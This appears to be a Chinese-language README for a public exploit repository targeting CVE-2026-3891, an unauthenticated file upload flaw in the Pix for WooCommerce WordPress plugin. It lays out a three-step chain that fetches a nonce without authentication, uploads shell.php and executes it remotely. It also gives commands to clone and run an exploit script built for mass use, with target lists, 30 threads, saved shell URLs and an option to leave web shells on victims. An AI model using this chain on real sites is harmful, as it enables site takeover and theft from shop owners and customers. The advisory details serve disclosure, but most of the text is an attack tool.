CVE-2026-3891 是 Pix for WooCommerce WordPress插件（由linknacional开发）版本 ≤ 1.5.0 中的一个严重级别（CVSS 9.8）未经身份验证的任意文件上传漏洞。
lkn_pix_for_woocommerce_c6_save_settings AJAX处理程序存在以下问题：
certificate_crt_path 参数可接受任何文件扩展名lkn_pix_for_woocommerce_generate_nonce 端点 免费获取 有效nonce，且无需身份验证上传的文件会落入Web可访问目录 /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/。
| 版本 | 状态 |
|---|---|
| ≤ 1.5.0 | 有漏洞 |
| 1.6.0+ | 已修复 |
发现者： Alexis Lafontaine（通过 Wordfence，2026年3月13日）
// Nonce generated without auth
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
// Upload handler — no capability check, no file type validation
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
function c6_save_settings() {
// No current_user_can() check
// No wp_check_filetype() call
move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
}
1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
→ 获取有效nonce（无需身份验证）
2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
→ 通过 certificate_crt_path 字段上传 shell.php
3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
→ 远程代码执行
git clone https://github.com/shinthink/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt
python cve_2026_3891.py -t target.com
python cve_2026_3891.py -f targets.txt -o shells.txt
python cve_2026_3891.py -t target.com --debug --no-cleanup
-t, --target 单个目标
-f, --file 目标列表文件
-o, --output 保存RCE URL
--threads 工作线程数（默认：30）
--no-cleanup 在目标上保留shell
--debug 显示每个请求
-v, --verbose 详细输出
仅限教育和授权测试用途。 作者不对滥用行为承担任何责任。
| 资源 | 链接 |
|---|---|
| Wordfence公告 | wordfence.com |
| NVD条目 | CVE-2026-3891 |
| 研究人员 | Alexis Lafontaine |
与linknacional或Pix for WooCommerce无关联。